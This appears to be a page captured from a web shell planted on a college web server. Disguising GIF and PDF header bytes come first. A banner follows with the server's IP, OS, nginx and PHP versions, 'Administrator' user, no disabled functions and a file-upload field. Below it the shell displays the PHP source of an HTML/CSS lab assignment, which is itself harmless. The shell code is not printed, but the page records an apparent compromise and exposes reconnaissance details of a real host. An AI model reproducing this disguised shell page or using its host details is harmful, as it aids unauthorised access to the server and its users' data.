GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1021/Labs/Lab02/ |
Upload File : |
<? // JimMartinson/CST1021/Labs/Lab02/Lab01.phpinc $css .= ',colorCode.css'; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. ?> <fieldset><legend>Description</legend> The purpose of this lab is to demonstrate your ability to format text, use quotation and citation elements, use comments, and apply CSS via id and style attributes. <br> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> Instruction</legend> <ol id="main" class="count"> <!-- Step 1 --> <li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li> <!-- Step 2 --> <li class="css">Download <b><a href="<?=$evaluationName?>.css"><?=$evaluationName?>.css</a></b> and save it in your <b><?=$evaluationName?></b> folder.</li> <!-- Step 3 --> <li class="css">Edit the <b><?=$evaluationName?>.css</b> file and change the <span class="highELE">section</span> background-color so it uses rgb format instead of hex.</li> <!-- Step 4 --> <li class="page">Create a web page. <br><span class="note normal">Only the css declarations in the external style sheet and those directly asked for by the directions may be used. No additional css can be added.</span> <ol> <li>Name the file <b class="copyText"><?=$saveFilename?>.html</b>.</li> <li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li> </ol> </li> <!-- Step 5 --> <li class="page">Place the following in the <span class="highELE">head</span> of your page: <a href="#notes" class="smaller">See notes</a> <ol type="a"> <li>Title the page <span-content class="copyText"><?=$pageTitle?></span-content>.</li> <li>Add the meta character set tag.</li> <li>Add a link tag to the <span class="highVAL"><span class="copyText"><?=$evaluationName?>.css</span></span> css file.</li> </ol> </li> <!-- Step 6 --> <li class="page">Place an <span class="highELE">h1</span> heading tag as the first element in the <span class="highELE">body</span>. Set the innerHTML to the same content as the <span class="highELE">title</span> above. <!-- Step 7 --> <li class="page">Add a <span class="highELE">section</span> element to the <span class="highELE">body</span> for HTML Text Formatting. <br>For content, add the following tags, each on a separate line in the code: <ol> <li>Begin with an h2 heading of <span-content class="copyText">HTML Text Formatting</span-content>.</li> <li>A <span class="highELE">b</span> tag with innerHTML: <span-content class="copyText">Bold text</span-content>.</li> <li>A <span class="highELE">strong</span> tag with innerHTML: <span-content class="copyText">Important text</span-content>.</li> <li>An <span class="highELE">i</span> tag with innerHTML: <span-content class="copyText">Italic text</span-content>.</li> <li>An <span class="highELE">em</span> tag with innerHTML: <span-content class="copyText">Emphasized text</span-content>.</li> <li>A <span class="highELE">mark</span> tag with innerHTML: <span-content class="copyText">Marked text</span-content>.</li> <li>A <span class="highELE">small</span> tag with innerHTML: <span-content class="copyText">Small text</span-content>.</li> <li>A <span class="highELE">del</span> tag with innerHTML: <span-content class="copyText">Deleted text</span-content>.</li> <li>An <span class="highELE">ins</span> tag with innerHTML: <span-content class="copyText">Inserted text</span-content>.</li> <li>A <span class="highELE">sub</span> tag with innerHTML: <span-content class="copyText">Subscript text</span-content>.</li> <li>A <span class="highELE">sup</span> tag with innerHTML: <span-content class="copyText">Superscript text</span-content>.</li> </ol> </li> <!-- Step 8 --> <li class="page">Add a <span class="highELE">section</span> element to the <span class="highELE">body</span> for HTML Quotation and Citation Elements. <br>For content, add the following tags, each on a separate line: <ol> <li>Begin with an h2 heading of <span-content class="copyText">HTML Quotation and Citation Elements</span-content>.</li> <li>The text <b class="copyText"><?=$userFirstName?> says</b> followed by a <span class="highELE">q</span> tag with innerHTML of your choosing.</li> <li>A <span class="highELE">br</span> tag.</li> <li>An <span class="highELE">abbr</span> tag for <b class="copyText">CST</b> with a <span class="highATT">title</span> of <span class="highVAL copyText">Computer Systems Technology</span> and following text:<span-content class="copyText"> began as the AIT department and was re-named in 1994.</span-content></li> </ol> </li> <!-- Step 9 --> <li class="page">Add a <span class="highELE">section</span> element to the <span class="highELE">body</span> for HTML Comments. <br>For content, add the following tags, each on a separate line: <ol> <li>Begin with an h2 heading of <span-content class="copyText">HTML Comments</span-content>.</li> <li>A comment tag containing <span-content class="copyText">This section only contains the h2 tag and a comment</span-content>.</li> </ol> </li> <!-- Step 10 --> <li class="page">Add a <span class="highELE">section</span> element to the <span class="highELE">body</span> for HTML Colors. <br>For content, add the following tags, each on a separate line: <ol> <li>Begin with an h2 heading of <span-content class="copyText">HTML Colors</span-content>. Style the h2 tag using an inline style that will change the background-color to <b>Tomato</b> at 50% opacity using the hsla format.</li> <li>A <span class="highELE">span</span> tag with innerHTML: <span-content class="copyText">This is an un-styled span tag.</span-content></li> <li>A <span class="highELE">span</span> tag with an <span class="highATT">id</span> of <span class="highVAL">tom</span> and innerHTML: <span-content class="copyText">Styled via id.</span-content></li> <li>A <span class="highELE">span</span> tag styled to use the color <b>DodgerBlue</b> and with innerHTML: <span-content class="copyText">Some DodgerBlue text.</span-content></li> </ol> </li> <!-- Step 11 --> <li>Turn in your assignment: <div id="show_page" class="inline"><a href="#" onClick="divHide('show_page'); divShow('hide_page'); return false;">See an example:</a></div> <div id="hide_page" class="hidden"><a href="#" onClick="divHide('hide_page'); divShowInline('show_page'); return false;">Hide the example.</a> <? require('common/Browser/Browser.phpinc'); BrowserBegin($pageTitle,'file:///'.$courseNumber.'/'.$evaluationName.'/'.$userFileName.'-'.$evaluationName.'.html',872); ?> <img src="images/example.png" alt="example"> <? BrowserEnd(); ?> </div> <ol type="a"> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('../LabNotes.phpinc'); ?> <script src="/js/colorCode.js"></script> <? $PartialGradingCriteria = ' -assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors. No further grading will be done. <table> <tr> <th>Criteria</th> <th class="right">Points</th> </tr> <tr> <td>Correct filename, <span class="highELE">DOCTYPE</span>, <span class="highELE">html</span>, <span class="highELE">head</span>, <span class="highELE">title</span>, <span class="highELE">meta</span> <span class="highATT">charset</span>, <span class="highELE">link</span>, <span class="highELE">body</span>, and <span class="highELE">h1</span> tags.</td> <td class="number">4</td> </tr> <tr> <td>Correct Lab02.css file.</td> <td class="number">2</td> </tr> <tr> <td>Correct <span-content>HTML Text Formatting</span-content> section and tags.</td> <td class="number">4</td> </tr> <tr> <td>Correct <span-content>HTML Quotation and Citation Elements</span-content> section and tags.</td> <td class="number">4</td> </tr> <tr> <td>Correct <span-content>HTML Comments</span-content> section and tags.</td> <td class="number">2</td> </tr> <tr> <td>Correct <span-content>HTML Colors</span-content> section and tags.</td> <td class="number">5</td> </tr> <tr> <td>HTML is well formatted and follows lab requirements.</td> <td class="number">4</td> </tr> <tr> <td><span class="note">Do not add any additional code or styling other than what is required by the lab. <br>I will deduct points for additional code or styling that are incorrect or cause problems.</span> </td> <td></td> </tr> <tr> <th class="right">Total:</th> <th class="number">assignmentPoints</th> </tr> </table> '; require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>